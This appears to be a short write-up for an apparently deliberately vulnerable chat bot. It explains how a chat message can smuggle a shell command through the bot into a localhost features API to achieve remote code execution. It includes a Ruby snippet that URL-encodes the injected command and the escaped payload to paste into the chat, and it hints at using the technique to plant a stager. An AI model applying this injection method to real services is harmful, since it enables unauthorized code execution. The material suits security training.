The chat bot has a CORS bypass vulnerability that can lead to remote code exectuion.

The bot itself has 2 main components - the client, and features API. The client is JavaScript that
will log into the chatroom and perform basic conversations. The features API is a Node JS service
that listens on localhost only, which should be only used by the bot for advanced functions - in
this case, the feature developed is the ability to look up a system user.

If accessed by a malicious user, the features API can be used to execute arbitrary code. In order
to acheive this, the attacker can perform a CORS bypass by asking the bot to pass malicious input
to the features API service, and result remote code execution.

The following shows how to write a file to /tmp:

1. Unescape the malicious string:

  #!/usr/bin/env ruby

  require 'cgi'

  puts CGI.escape("sinn3r && echo AAAA > /tmp/evil.txt")

2. Log into the chatroom, and enter escaped message:

  do you know sinn3r+%26%26+echo+AAAA+%3E+%2Ftmp%2Fevil.txt

3. You should see /tmp/evil.txt

You can use this method to write a stager and execute it. The tricks are endless.
